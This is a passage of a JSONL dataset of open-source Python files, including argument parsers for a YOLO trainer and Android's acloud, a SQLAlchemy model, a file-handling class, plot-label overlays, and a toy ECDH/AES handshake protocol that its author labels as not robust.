use, gpu or cpu\")\n parser.add_argument(\n \"-d\", \"--dynamic\", action='store_true', help=\"enable dygraph mode\")\n parser.add_argument(\n \"--eval_only\", action='store_true', help=\"run evaluation only\")\n parser.add_argument(\n \"-e\", \"--epoch\", default=300, type=int, help=\"number of epoch\")\n parser.add_argument(\n \"--no_mixup_epoch\",\n default=30,\n type=int,\n help=\"number of the last N epoch without image mixup\")\n parser.add_argument(\n '--lr',\n '--learning-rate',\n default=0.001,\n type=float,\n metavar='LR',\n help='initial learning rate')\n parser.add_argument(\n \"-b\", \"--batch_size\", default=16, type=int, help=\"batch size\")\n parser.add_argument(\n \"-j\",\n \"--num_workers\",\n default=4,\n type=int,\n help=\"reader worker number\")\n parser.add_argument(\n \"-p\",\n \"--pretrain_weights\",\n default=None,\n type=str,\n help=\"path to pretrained weights\")\n parser.add_argument(\n \"-r\", \"--resume\", default=None, type=str, help=\"path to model weights\")\n parser.add_argument(\n \"-w\",\n \"--weights\",\n default=None,\n type=str,\n help=\"path to weights for evaluation\")\n parser.add_argument(\n \"-s\",\n \"--save_dir\",\n default=None,\n type=str,\n help=\"directory path for checkpoint saving, default ./yolo_checkpoint\")\n FLAGS = parser.parse_args()\n print_arguments(FLAGS)\n assert FLAGS.data, \"error: must provide data path\"\n main()\n", "source": "heavengate/hapi", "license": "Apache-2.0"}
+{"text": "from sqlalchemy.orm import relationship\nfrom app import db\n\n\nclass Qualification(db.Model):\n __tablename__ = \"qualifications\"\n\n id = db.Column(db.Integer, primary_key=True)\n prisoners_id = db.Column(db.Integer, db.ForeignKey(\"prisoner.id\"))\n skill = db.Column(db.String(128), nullable=False)\n level = db.Column(db.Integer, nullable=False)\n\n assigned_prisoner = relationship(\n \"Prisoner\", back_populates=\"qualifications\", lazy=\"joined\"\n )\n\n def __init__(self, prisoners_id: int, skill: str, level: str) -> None:\n super().__init__()\n self.prisoners_id = prisoners_id\n self.skill = skill\n self.level = level\n\n def __str__(self) -> str:\n return f\"{self.__tablename__} prisoners id: {self.prisoners_id} skill: {self.skill} level: {self.level}\"\n", "source": "Debskij/prisonboard", "license": "Apache-2.0"}
+{"text": "import os\nimport copy\nimport json\nimport logging\nimport mmap\n\nimport yaml\nimport magic\n\nfrom chibi.atlas import _wrap\nfrom chibi.file.path import Chibi_path\nfrom chibi.file.snippets import (\n exists, stat, check_sum_md5, read_in_chunks, base_name, file_dir,\n copy as copy_file,\n)\n\n\nlogger = logging.getLogger( 'chibi.file.chibi_file' )\n\n\nclass Chibi_file:\n def __new__( cls, path, *args, **kw ):\n from .other import find_correct_class\n cls = find_correct_class( path, cls )\n obj = super().__new__( cls )\n return obj\n\n def __init__( self, file_name, encoding=None, newline=None ):\n self.encoding = encoding\n self.newline = newline\n self._file_name = file_name\n self._current_dir = file_dir( file_name )\n if not self.exists:\n self.touch()\n self.reread()\n\n def __str__( self ):\n return \"file: '{}'\".format( self.path )\n\n @property\n def file_name( self ):\n return base_name( self._file_name )\n\n @property\n def dir( self ):\n return self._current_dir\n\n @property\n def path( self ):\n return Chibi_path( self._file_name )\n\n @property\n def is_empty( self ):\n return self.properties.size == 0\n\n @property\n def properties( self ):\n prop = stat( self.path )\n prop.mime = magic.Magic( mime=True ).from_file( self.path )\n prop.extension = os.path.splitext( self.path )[1][1:]\n return prop\n\n def __del__( self ):\n try:\n self.file.close()\n except AttributeError:\n pass\n\n def close( self ):\n self.file.close()\n\n def find( self, string_to_find ):\n if isinstance( string_to_find, str ):\n string_to_find = string_to_find.encode()\n with mmap.mmap(\n self.file.fileno(), 0, prot=mmap.PROT_READ ) as f:\n\n return f.find( string_to_find )\n\n def reread( self ):\n self.file = self._open( 'r' )\n\n def __contains__( self, string ):\n return self.find( string ) >= 0\n\n def append( self, string ):\n if isinstance( string, ( bytes, bytearray ) ):\n with self._open( 'ab' ) as f:\n f.write( string )\n else:\n with self._open( 'a' ) as f:\n f.write( string )\n self.reread()\n\n def write( self, string ):\n if isinstance( string, ( bytes, bytearray ) ):\n with self._open( 'wb' ) as f:\n f.write( string )\n else:\n with self._open( 'w' ) as f:\n f.write( string )\n self.reread()\n\n def read( self ):\n \"\"\"\n lee todo el archivo\n \"\"\"\n result = self.file.read()\n self.reread()\n return result\n\n @property\n def file( self ):\n return self._file_content\n\n @file.setter\n def file( self, value ):\n try:\n old_file = self._file_content\n old_file.close()\n except AttributeError:\n pass\n self._file_content = value\n\n @property\n def exists( self ):\n return exists( self.path )\n\n def touch( self ):\n open( self.path, 'a' ).close()\n\n def copy( self, dest, verbose=True, **kw ):\n copy_file( self.path, dest, verbose=verbose, **kw )\n\n def chunk( self, chunk_size=4096 ):\n return read_in_chunks( self.path, 'r', chunk_size=chunk_size )\n\n def check_sum_md5( self, check_sum ):\n return check_sum_md5( self.path, check_sum )\n\n def read_json( self ):\n logger.warning( 'deprecated' )\n self.reread()\n return _wrap( json.load( self.file ) )\n\n def write_json( self, data ):\n logger.warning( 'deprecated' )\n self.write( json.dumps( data ) )\n\n def read_yaml( self ):\n logger.warning( 'deprecated' )\n self.reread()\n result = yaml.load( self.file, Loader=yaml.FullLoader )\n return _wrap( result )\n\n def write_yaml( self, data, is_safe=False ):\n logger.warning( 'deprecated' )\n if is_safe:\n self.write( yaml.safe_dump( data ) )\n else:\n self.write( yaml.dump( data ) )\n\n def __copy__( self ):\n return type( self )( self.path )\n\n def __eq__( self, other ):\n if isinstance( other, Chibi_file ):\n return self.path == other.path\n return False\n\n def __iadd__( self, other ):\n if ( isinstance( other, str ) ):\n self.append( other )\n return self\n if ( isinstance( other, Chibi_file ) ):\n if self == other:\n self += \"\".join( other.chunk() )\n return self\n\n other = copy.copy( other )\n for chunk in other.chunk():\n self += chunk\n return self\n self += str( other )\n\n def _open( self, mode ):\n return open(\n self.path, mode, encoding=self.encoding, newline=self.newline )\n", "source": "dem4ply/chibi", "license": "WTFPL"}
+{"text": "# ===============================================================================\n# Copyright 2013 Jake Ross\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ===============================================================================\n\n# ============= enthought library imports =======================\nfrom __future__ import absolute_import\nfrom chaco.abstract_overlay import AbstractOverlay\nfrom chaco.plot_label import PlotLabel\nfrom kiva.trait_defs.kiva_font_trait import KivaFont\nfrom traits.api import List, Bool, Int, on_trait_change, Color\nfrom six.moves import zip\n\n\n# ============= standard library imports ========================\n# ============= local library imports ==========================\n\nclass RelativePlotLabel(PlotLabel):\n relative_position = Int\n\n def _draw_overlay(self, gc, view_bounds=None, mode=\"normal\"):\n \"\"\" Draws the overlay layer of a component.\n\n Overrides PlotComponent.\n \"\"\"\n # Perform justification and compute the correct offsets for\n # the label position\n width, height = self._label.get_bounding_box(gc)\n if self.hjustify == \"left\":\n x_offset = 0\n elif self.hjustify == \"right\":\n x_offset = self.width - width\n elif self.hjustify == \"center\":\n x_offset = int((self.width - width) / 2)\n #\n if self.vjustify == \"bottom\":\n y = self.component.y + 5 + (self.relative_position * (height + 2))\n elif self.vjustify == \"top\":\n y = self.component.y2 - height - (self.relative_position * (height + 2))\n\n # elif self.vjustify == \"center\":\n # y_offset = int((self.height - height) / 2)\n # x_offset, y_offset=0,0\n # print self.x, self.y, self.width, self.height, self.bounds\n with gc:\n # XXX: Uncomment this after we fix kiva GL backend's clip stack\n # gc.clip_to_rect(self.x, self.y, self.width, self.height)\n\n # We have to translate to our position because the label\n # tries to draw at (0,0).\n\n gc.translate_ctm(self.x + x_offset, y)\n self._label.draw(gc)\n\n return\n\n\nclass IntegratedPlotLabel(RelativePlotLabel):\n pass\n\n\nclass WeightedMeanPlotLabel(RelativePlotLabel):\n pass\n\n\nclass SpectrumLabelOverlay(AbstractOverlay):\n display_extract_value = Bool(True)\n display_step = Bool(True)\n nsigma = Int\n font = KivaFont\n _cached_labels = List\n use_user_color = Bool\n user_color = Color\n\n def overlay(self, other_component, gc, view_bounds=None, mode=\"normal\"):\n labels = self._get_labels()\n for label in labels:\n label.overlay(other_component, gc)\n\n def _get_labels(self):\n if self._layout_needed or not self._cached_labels:\n self._layout_needed = False\n labels = []\n nsigma = self.nsigma\n # spec = self.spectrum\n comp = self.component\n xs = comp.index.get_data()\n ys = comp.value.get_data()\n es = comp.errors\n n = len(xs)\n xs = xs.reshape(n // 2, 2)\n ys = ys.reshape(n // 2, 2)\n es = es.reshape(n // 2, 2)\n\n if self.use_user_color:\n color = self.user_color\n else:\n color = comp.color\n\n sorted_analyses = self.sorted_analyses\n for i, ((xa, xb), (ya, yb), (ea, eb)) in enumerate(zip(xs, ys, es)):\n # ui = spec.sorted_analyses[i]\n analysis = sorted_analyses[i]\n x = (xb - xa) / 2.0 + xa\n yi, ei = ya, ea\n yl = yi - ei * nsigma\n yu = yi + ei * nsigma\n\n (x, yl), (_, yu) = comp.map_screen([(x, yl), (x, yu)])\n y = yl - 15\n if y < 0:\n y = yu + 10\n if y > comp.height:\n y = 50\n\n txt = self._assemble_text(analysis)\n labels.append(PlotLabel(text=txt,\n font=self.font,\n # font='modern {}'.format(self.font_size),\n color=color,\n x=x,\n y=y))\n\n self._cached_labels = labels\n\n return self._cached_labels\n\n def _assemble_text(self, ai):\n ts = []\n if self.display_step:\n ts.append(ai.step)\n\n if self.display_extract_value:\n ts.append('{:n}'.format(ai.extract_value))\n\n return '\\n'.join(ts)\n\n @on_trait_change('component.+')\n def _handle_component_change(self, name, new):\n self._layout_needed = True\n self.request_redraw()\n\n @on_trait_change('display_extract_value, display_step')\n def _update_visible(self):\n self.visible = self.display_extract_value or self.display_step\n\n# ============= EOF =============================================\n", "source": "ael-noblegas/pychron", "license": "Apache-2.0"}
+{"text": "\"\"\"\nThe NULL Crypto Protocol\n\nThis is a simple (and probably not very robust) ECDHE + AES protocol using ECDSA for authentication. Please don't use\nthis for anything important!!\n\nThe server has a list of trusted public keys, the client the public key of the server it trusts.\n\nWhen connecting a new session, the client uses an ephemeral ECDH key signed by the client's long-term ECDSA key.\nThe server enforces that only one ephemeral ECDH key can be in use for each client key.\n\nHandshake:\n* Client sends it's pubkey and epehemeral pubkey, and sign the ephemeral pubkey and sends that.\n* The client computes a shared secret to use as an AES128 key between the ephemeral ECDH key and the\n server's public key.\n* If the server trusts the client's ECDSA key it computes the same shared secret using ECDH\n* The server encrypts a random string using the shared key and sends it to the client.\n* The client must decrypt and sign the plain text version of the string.\n* The server verifies this final exchange and trusts the client.\n\n\"\"\"\n\nimport os\nimport binascii\nimport identity\nimport hashlib\nimport pyaes\nimport uuid\n\nKDFS = [\n \"NULLAES128sha256str\"\n]\nDEFAULT_KDF = \"NULLAES128sha256str\"\n\n\ndef aes_encrypt_str(key, plaintext):\n \"\"\"\n Encrypt a string with AES.\n :param key:\n :param plaintext:\n :return:\n \"\"\"\n iv = os.urandom(16)\n encrypter = pyaes.Encrypter(pyaes.AESModeOfOperationCBC(key, iv))\n ctext = encrypter.feed(plaintext)\n ctext += encrypter.feed()\n return binascii.hexlify(ctext), binascii.hexlify(iv)\n\n\ndef aes_decrypt_str(key, iv, ciphertext):\n \"\"\"\n Decrypt a string with AES\n :param key:\n :param iv:\n :param ciphertext:\n :return:\n \"\"\"\n iv = binascii.unhexlify(iv)\n ciphertext = binascii.unhexlify(ciphertext)\n decrypter = pyaes.Decrypter(pyaes.AESModeOfOperationCBC(key, iv))\n ptext = decrypter.feed(ciphertext)\n ptext += decrypter.feed()\n return ptext\n\n\ndef derive_key(kdf, shared):\n \"\"\"\n Derive our secret key\n :param kdf:\n :param shared: shared secret ecpoints\n :return:\n \"\"\"\n assert kdf in KDFS\n if kdf == \"NULLAES128sha256str\":\n # 128bit AES key from the last part of the sha256 hash if the ecpoint string representation\n keydata = hashlib.sha256(str(shared)).digest()[-16:]\n return keydata\n else:\n raise KeyError(\"no such KDF \" + kdf)\n\n\ndef server_handshake_begin(server_priv, message):\n \"\"\"\n Receive the handshake\n :param server_priv: server private key\n :param message: message data (decoded)\n :return: secret aes key, client's pubkey, handshake response to send\n \"\"\"\n assert server_priv.curve.openssl_name == message[\"keytype\"]\n signature = message[\"signature\"]\n\n client_pub = identity.loadpubstr(message[\"pub\"]) # client long term key\n session_pub = identity.loadpubstr(message[\"session\"]) # client session ecc key\n\n verify_msg = message[\"session\"] + message[\"kdf\"] + message[\"keytype\"]\n\n assert identity.verify_string(client_pub, signature, verify_msg) is True\n\n shared = identity.ecdh(server_priv, session_pub)\n secret = derive_key(message[\"kdf\"], shared)\n\n challenge_plain = str(uuid.uuid4())\n\n challenge, iv = aes_encrypt_str(secret, challenge_plain)\n response = {\"challenge\": challenge, \"iv\": iv}\n return secret, client_pub, response, challenge_plain\n\n\ndef client_handshake_begin(ecdsa_priv, ecdh_priv, server_pub, curve=identity.DEFAULT_KEYTYPE, kdf=DEFAULT_KDF):\n \"\"\"\n Start the handshake\n :param ecdsa_priv: long term signing privkey\n :param ecdh_priv: temporary session ecc privkey\n :param server_pub: server long term pub key\n :param curve: EC Curve name\n :param kdf: Key derivation mechanism\n :return: secret aes key, handshake message to send\n \"\"\"\n\n session_pub_str = ecdh_priv.get_verifying_key().to_pem()\n\n # sign our session key\n signature = identity.sign_string(ecdsa_priv, session_pub_str + kdf + curve.openssl_name)\n\n message = {\n \"pub\": ecdsa_priv.get_verifying_key().to_pem(),\n \"session\": session_pub_str,\n \"signature\": signature,\n \"keytype\": curve.openssl_name,\n \"kdf\": kdf,\n }\n\n shared = identity.ecdh(ecdh_priv, server_pub)\n secret = derive_key(kdf, shared)\n\n return secret, message\n\n\ndef client_handshake_finish(client_priv, secret, challenge):\n \"\"\"\n Sign the challenge from the server's handshake response\n :param client_priv:\n :param secret:\n :param challenge:\n :return:\n \"\"\"\n pubkeyhash = identity.pubkeyhash(client_priv.get_verifying_key())\n plaintext = aes_decrypt_str(secret, challenge[\"iv\"], challenge[\"challenge\"])\n signature = identity.sign_string(client_priv, plaintext)\n return {\"signature\": signature,\n \"fingerprint\": pubkeyhash\n }\n\n\ndef server_handshake_finish(client_pub, challenge, response):\n \"\"\"\n Verify the client processed our handshake correctly\n :param client_pub: client's long term public key\n :param challenge: challenge plaintext\n :param response: message containing a signature of the plaintext and hash of the singer pubkey\n :return:\n \"\"\"\n assert \"fingerprint\" in response\n pubkeyhash = hashlib.sha512(client_pub.to_der()).hexdigest()\n assert pubkeyhash == response[\"fingerprint\"]\n assert identity.verify_string(client_pub, response[\"signature\"], challenge)\n return {\"status\": \"complete\"}\n\n\ndef send_data(signer, sessionkey, data):\n \"\"\"\n Encrypt some data and sign it\n :param signer: signing key\n :param sessionkey: encryption key\n :param data: message (expected string)\n :return: dict containing fingerprint, signature, iv and ciphertext\n \"\"\"\n ctext, iv = aes_encrypt_str(sessionkey, str(data))\n signature = identity.sign_string(signer, ctext)\n pubkeyhash = hashlib.sha512(signer.get_verifying_key().to_der()).hexdigest()\n\n return {\n \"fingerprint\": pubkeyhash,\n \"signature\": signature,\n \"iv\": iv,\n \"ciphertext\": ctext\n }\n\n\ndef receive_data(pubkey, sessionkey, data):\n \"\"\"\n Verify and Decrypt a message\n :param pubkey: the sender's signing key\n :param sessionkey: the encryption key\n :param data: (string)\n :return: the plain text if the message verifies\n \"\"\"\n pubkeyhash = hashlib.sha512(pubkey.to_der()).hexdigest()\n assert pubkeyhash == data[\"fingerprint\"]\n assert identity.verify_string(pubkey,\n data[\"signature\"],\n data[\"ciphertext\"])\n\n return aes_decrypt_str(sessionkey,\n data[\"iv\"],\n data[\"ciphertext\"])\n", "source": "inorton/NULLTeamPlugin", "license": "BSD-2-Clause"}
+{"text": "import os\nfrom pkg_resources import resource_filename\n\n\ndef get_fun(name):\n \"\"\"Get the full path to one of the reference files shipped for testing\n\n These files are in torsionfit/testing/reference\n\n :param\n name: str\n Name of file to load\n\n :returns\n fn : str\n full path to file\n \"\"\"\n\n fn = resource_filename('torsionfit', os.path.join('tests', 'reference', name))\n\n if not os.path.exists(fn):\n raise ValueError('%s does not exist. If you just added it you will have to re install' % fn)\n\n return fn\n\ntry:\n import openeye.oechem\n has_openeye = True\nexcept ImportError:\n has_openeye = False\n\n", "source": "ChayaSt/torsionfit", "license": "MIT"}
+{"text": "# Copyright 2018 - The Android Open Source Project\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nr\"\"\"Create args.\n\nDefines the create arg parser that holds create specific args.\n\"\"\"\n\nimport argparse\nimport os\n\nfrom acloud import errors\nfrom acloud.create import create_common\nfrom acloud.internal import constants\nfrom acloud.internal.lib import utils\n\n\n_DEFAULT_GPU = \"default\"\nCMD_CREATE = \"create\"\n\n\n# TODO: Add this into main create args once create_cf/gf is deprecated.\ndef AddCommonCreateArgs(parser):\n \"\"\"Adds arguments common to create parsers.\n\n Args:\n parser: ArgumentParser object, used to parse flags.\n \"\"\"\n parser.add_argument(\n \"--num\",\n type=int,\n dest=\"num\",\n required=False,\n default=1,\n help=\"Number of instances to create.\")\n parser.add_argument(\n \"--serial-log-file\",\n type=str,\n dest=\"serial_log_file\",\n required=False,\n help=\"Path to a *tar.gz file where serial logs will be saved \"\n \"when a device fails on boot.\")\n parser.add_argument(\n \"--autoconnect\",\n type=str,\n nargs=\"?\",\n const=constants.INS_KEY_VNC,\n dest=\"autoconnect\",\n required=False,\n choices=[constants.INS_KEY_VNC, constants.INS_KEY_ADB,\n constants.INS_KEY_WEBRTC],\n help=\"Determines to establish a tunnel forwarding adb/vnc and \"\n \"launch VNC/webrtc. Establish a tunnel forwarding adb and vnc \"\n \"then launch vnc if --autoconnect vnc is provided. Establish a \"\n \"tunnel forwarding adb if --autoconnect adb is provided. \"\n \"Establish a tunnel forwarding adb and auto-launch on the browser \"\n \"if --autoconnect webrtc is provided. For local goldfish \"\n \"instance, create a window.\")\n parser.add_argument(\n \"--no-autoconnect\",\n action=\"store_false\",\n dest=\"autoconnect\",\n required=False,\n help=\"Will not automatically create ssh tunnels forwarding adb & vnc \"\n \"when instance created.\")\n parser.set_defaults(autoconnect=constants.INS_KEY_VNC)\n parser.add_argument(\n \"--unlock\",\n action=\"store_true\",\n dest=\"unlock_screen\",\n required=False,\n default=False,\n help=\"This can unlock screen after invoke vnc client.\")\n parser.add_argument(\n \"--report-internal-ip\",\n action=\"store_true\",\n dest=\"report_internal_ip\",\n required=False,\n help=\"Report internal ip of the created instance instead of external \"\n \"ip. Using the internal ip is used when connecting from another \"\n \"GCE instance.\")\n parser.add_argument(\n \"--network\",\n type=str,\n dest=\"network\",\n required=False,\n help=\"Set the network the GCE instance will utilize.\")\n parser.add_argument(\n \"--skip-pre-run-check\",\n action=\"store_true\",\n dest=\"skip_pre_run_check\",\n required=False,\n help=\"Skip the pre-run check.\")\n parser.add_argument(\n \"--boot-timeout\",\n dest=\"boot_timeout_secs\",\n type=int,\n required=False,\n help=\"The maximum time in seconds used to wait for the AVD to boot.\")\n parser.add_argument(\n \"--wait-for-ins-stable\",\n dest=\"ins_timeout_secs\",\n type=int,\n required=False,\n help=\"The maximum time in seconds used to wait for the instance boot \"\n \"up. The default value to wait for instance up time is 300 secs.\")\n parser.add_argument(\n \"--build-target\",\n type=str,\n dest=\"build_target\",\n help=\"Android build target, e.g. aosp_cf_x86_phone-userdebug, \"\n \"or short names: phone, tablet, or tablet_mobile.\")\n parser.add_argument(\n \"--branch\",\n type=str,\n dest=\"branch\",\n help=\"Android branch, e.g. mnc-dev or git_mnc-dev\")\n parser.add_argument(\n \"--build-id\",\n type=str,\n dest=\"build_id\",\n help=\"Android build id, e.g. 2145099, P2804227\")\n parser.add_argument(\n \"--kernel-build-id\",\n type=str,\n dest=\"kernel_build_id\",\n required=False,\n help=\"Android kernel build id, e.g. 4586590. This is to test a new\"\n \" kernel build with a particular Android build (--build-id). If neither\"\n \" kernel-branch nor kernel-build-id are specified, the kernel that's\"\n \" bundled with the Android build would be used.\")\n parser.add_argument(\n \"--kernel-branch\",\n type=str,\n dest=\"kernel_branch\",\n required=False,\n help=\"Android kernel build branch name, e.g.\"\n \" kernel-common-android-4.14. This is to test a new kernel build with a\"\n \" particular Android build (--build-id). If specified without\"\n \" specifying kernel-build-id, the last green build in the branch will\"\n \" be used. If neither kernel-branch nor kernel-build-id are specified,\"\n \" the kernel that's bundled with the Android build would be used.\")\n parser.add_argument(\n \"--kernel-build-target\",\n type=str,\n dest=\"kernel_build_target\",\n default=\"kernel\",\n help=\"Kernel build target, specify if different from 'kernel'\")\n parser.add_argument(\n \"--system-branch\",\n type=str,\n dest=\"system_branch\",\n help=\"'cuttlefish only' Branch to consume the system image (system.img) \"\n \"from, will default to what is defined by --branch. \"\n \"That feature allows to (automatically) test various combinations \"\n \"of vendor.img (CF, e.g.) and system images (GSI, e.g.). \",\n required=False)\n parser.add_argument(\n \"--system-build-id\",\n type=str,\n dest=\"system_build_id\",\n help=\"'cuttlefish only' System image build id, e.g. 2145099, P2804227\",\n required=False)\n parser.add_argument(\n \"--system-build-target\",\n type=str,\n dest=\"system_build_target\",\n help=\"'cuttlefish only' System image build target, specify if different \"\n \"from --build-target\",\n required=False)\n # TODO(146314062): Remove --multi-stage-launch after infra don't use this\n # args.\n parser.add_argument(\n \"--multi-stage-launch\",\n dest=\"multi_stage_launch\",\n action=\"store_true\",\n required=False,\n default=True,\n help=\"Enable the multi-stage cuttlefish launch.\")\n parser.add_argument(\n \"--no-multi-stage-launch\",\n dest=\"multi_stage_launch\",\n action=\"store_false\",\n required=False,\n default=None,\n help=\"Disable the multi-stage cuttlefish launch.\")\n parser.add_argument(\n \"--no-pull-log\",\n dest=\"no_pull_log\",\n action=\"store_true\",\n required=False,\n default=None,\n help=\"Disable auto download logs when AVD booting up failed.\")\n # TODO(147335651): Add gpu in user config.\n # TODO(147335651): Support \"--gpu\" without giving any value.\n parser.add_argument(\n \"--gpu\",\n type=str,\n const=_DEFAULT_GPU,\n nargs=\"?\",\n dest=\"gpu\",\n required=False,\n default=None,\n help=\"GPU accelerator to use if any. e.g. nvidia-tesla-k80. For local \"\n \"instances, this arg without assigning any value is to enable \"\n \"local gpu support.\")\n # Hide following args for users, it is only used in infra.\n parser.add_argument(\n \"--num-avds-per-instance\",\n type=int,\n dest=\"num_avds_per_instance\",\n required=False,\n default=1,\n help=argparse.SUPPRESS)\n parser.add_argument(\n \"--zone\",\n type=str,\n dest=\"zone\",\n required=False,\n help=argparse.SUPPRESS)\n\n # TODO(b/118439885): Old arg formats to support transition, delete when\n # transistion is done.\n parser.add_argument(\n \"--serial_log_file\",\n type=str,\n dest=\"serial_log_file\",\n required=False,\n help=argparse.SUPPRESS)\n parser.add_argument(\n \"--build_id\",\n type=str,\n dest=\"build_id\",\n required=False,\n help=argparse.SUPPRESS)\n parser.add_argument(\n \"--build_target\",\n type=str,\n dest=\"build_target\",\n required=False,\n help=argparse.SUPPRESS)\n parser.add_argument(\n \"--system_branch\",\n type=str,\n dest=\"system_branch\",\n required=False,\n help=argparse.SUPPRESS)\n parser.add_argument(\n \"--system_build_id\",\n type=str,\n dest=\"system_build_id\",\n required=False,\n help=argparse.SUPPRESS)\n parser.add_argument(\n \"--system_build_target\",\n type=str,\n dest=\"system_build_target\",\n required=False,\n help=argparse.SUPPRESS)\n parser.add_argument(\n \"--kernel_build_id\",\n type=str,\n dest=\"kernel_build_id\",\n required=False,\n help=argparse.SUPPRESS)\n parser.add_argument(\n \"--kernel_branch\",\n type=str,\n dest=\"kernel_branch\",\n required=False,\n help=argparse.SUPPRESS)\n parser.add_argument(\n \"--kernel_build_target\",\n type=str,\n dest=\"kernel_build_target\",\n default=\"kernel\",\n help=argparse.SUPPRESS)\n\n\ndef GetCreateArgParser(subparser):\n \"\"\"Return the create arg parser.\n\n Args:\n subparser: argparse.ArgumentParser that is attached to main acloud cmd.\n\n Returns:\n argparse.ArgumentParser with create options defined.\n \"\"\"\n create_parser = subparser.add_parser(CMD_CREATE)\n create_parser.required = False\n create_parser.set_defaults(which=CMD_CREATE)\n # Use default=None to distinguish remote instance or local. The instance\n # type will be remote if the arg is not provided.\n create_parser.add_argument(\n \"--local-instance\",\n type=_PositiveInteger,\n const=0,\n metavar=\"ID\",\n nargs=\"?\",\n dest=\"local_instance\",\n required=False,\n help=\"Create a local AVD instance using the resources associated with \"\n \"the ID. Choose an unused ID automatically if the value is \"\n \"not specified (primarily for infra usage).\")\n create_parser.add_argument(\n \"--adb-port\", \"-p\",\n type=int,\n default=None,\n dest=\"adb_port\",\n required=False,\n help=\"Specify port for adb forwarding.\")\n create_parser.add_argument(\n \"--avd-type\",\n type=str,\n dest=\"avd_type\",\n default=constants.TYPE_CF,\n choices=[constants.TYPE_GCE, constants.TYPE_CF, constants.TYPE_GF, constants.TYPE_CHEEPS,\n constants.TYPE_FVP],\n help=\"Android Virtual Device type (default %s).\" % constants.TYPE_CF)\n create_parser.add_argument(\n \"--flavor\",\n type=str,\n dest=\"flavor\",\n help=\"The device flavor of the AVD (default %s).\" % constants.FLAVOR_PHONE)\n create_parser.add_argument(\n \"--local-image\",\n type=str,\n dest=\"local_image\",\n nargs=\"?\",\n default=\"\",\n required=False,\n help=\"Use the locally built image for the AVD. Look for the image \"\n \"artifact in $ANDROID_PRODUCT_OUT if no args value is provided.\"\n \"e.g --local-image or --local-image /path/to/dir or --local-image \"\n \"/path/to/file\")\n create_parser.add_argument(\n \"--local-system-image\",\n type=str,\n dest=\"local_system_image\",\n nargs=\"?\",\n default=\"\",\n required=False,\n help=\"Use the locally built system images for the AVD. Look for the \"\n \"images in $ANDROID_PRODUCT_OUT if no args value is provided. \"\n \"e.g., --local-system-image or --local-system-image /path/to/dir\")\n create_parser.add_argument(\n \"--local-tool\",\n type=str,\n dest=\"local_tool\",\n action=\"append\",\n default=[],\n required=False,\n help=\"Use the tools in the specified directory to create local \"\n \"instances. The directory structure follows $ANDROID_HOST_OUT or \"\n \"$ANDROID_EMULATOR_PREBUILTS.\")\n create_parser.add_argument(\n \"--image-download-dir\",\n type=str,\n dest=\"image_download_dir\",\n required=False,\n help=\"Define remote image download directory, e.g. /usr/local/dl.\")\n create_parser.add_argument(\n \"--yes\", \"-y\",\n action=\"store_true\",\n dest=\"no_prompt\",\n required=False,\n help=(\"Automatic yes to prompts. Assume 'yes' as answer to all prompts \"\n \"and run non-interactively.\"))\n create_parser.add_argument(\n \"--reuse-gce\",\n type=str,\n const=constants.SELECT_ONE_GCE_INSTANCE,\n nargs=\"?\",\n dest=\"reuse_gce\",\n required=False,\n help=\"'cuttlefish only' This can help users use their own instance. \"\n \"Reusing specific gce instance if --reuse-gce [instance_name] is \"\n \"provided. Select one gce instance to reuse if --reuse-gce is \"\n \"provided.\")\n create_parser.add_argument(\n \"--host\",\n type=str,\n dest=\"remote_host\",\n default=None,\n help=\"'cuttlefish only' Provide host name to clean up the remote host. \"\n \"For example: '--host 1.1.1.1'\")\n create_parser.add_argument(\n \"--host-user\",\n type=str,\n dest=\"host_user\",\n default=constants.GCE_USER,\n help=\"'remote host only' Provide host user for logging in to the host. \"\n \"The default value is vsoc-01. For example: '--host 1.1.1.1 --host-user \"\n \"vsoc-02'\")\n create_parser.add_argument(\n \"--host-ssh-private-key-path\",\n type=str,\n dest=\"host_ssh_private_key_path\",\n default=None,\n help=\"'remote host only' Provide host key for login on on this host.\")\n # User should not specify --spec and --hw_property at the same time.\n hw_spec_group = create_parser.add_mutually_exclusive_group()\n hw_spec_group.add_argument(\n \"--hw-property\",\n type=str,\n dest=\"hw_property\",\n required=False,\n help=\"Supported HW properties and example values: %s\" %\n constants.HW_PROPERTIES_CMD_EXAMPLE)\n hw_spec_group.add_argument(\n \"--spec\",\n type=str,\n dest=\"spec\",\n required=False,\n choices=constants.SPEC_NAMES,\n help=\"The name of a pre-configured device spec that we are \"\n \"going to use.\")\n # Arguments for goldfish type.\n # TODO(b/118439885): Verify args that are used in wrong avd_type.\n # e.g. $acloud create --avd-type cuttlefish --emulator-build-id\n create_parser.add_argument(\n \"--emulator-build-id\",\n type=int,\n dest=\"emulator_build_id\",\n required=False,\n help=\"'goldfish only' Emulator build used to run the images. \"\n \"e.g. 4669466.\")\n\n # Arguments for cheeps type.\n create_parser.add_argument(\n \"--stable-cheeps-host-image-name\",\n type=str,\n dest=\"stable_cheeps_host_image_name\",\n required=False,\n default=None,\n help=(\"'cheeps only' The Cheeps host image from which instances are \"\n \"launched. If specified here, the value set in Acloud config \"\n \"file will be overridden.\"))\n create_parser.add_argument(\n \"--stable-cheeps-host-image-project\",\n type=str,\n dest=\"stable_cheeps_host_image_project\",\n required=False,\n default=None,\n help=(\"'cheeps only' The project hosting the specified Cheeps host \"\n \"image. If specified here, the value set in Acloud config file \"\n \"will be overridden.\"))\n create_parser.add_argument(\n \"--user\",\n type=str,\n dest=\"username\",\n required=False,\n default=None,\n help=\"'cheeps only' username to log in to Chrome OS as.\")\n create_parser.add_argument(\n \"--password\",\n type=str,\n dest=\"password\",\n required=False,\n default=None,\n help=\"'cheeps only' password to log in to Chrome OS with.\")\n create_parser.add_argument(\n \"--betty-image\",\n type=str,\n dest=\"cheeps_betty_image\",\n required=False,\n default=None,\n help=(\"'cheeps only' The L1 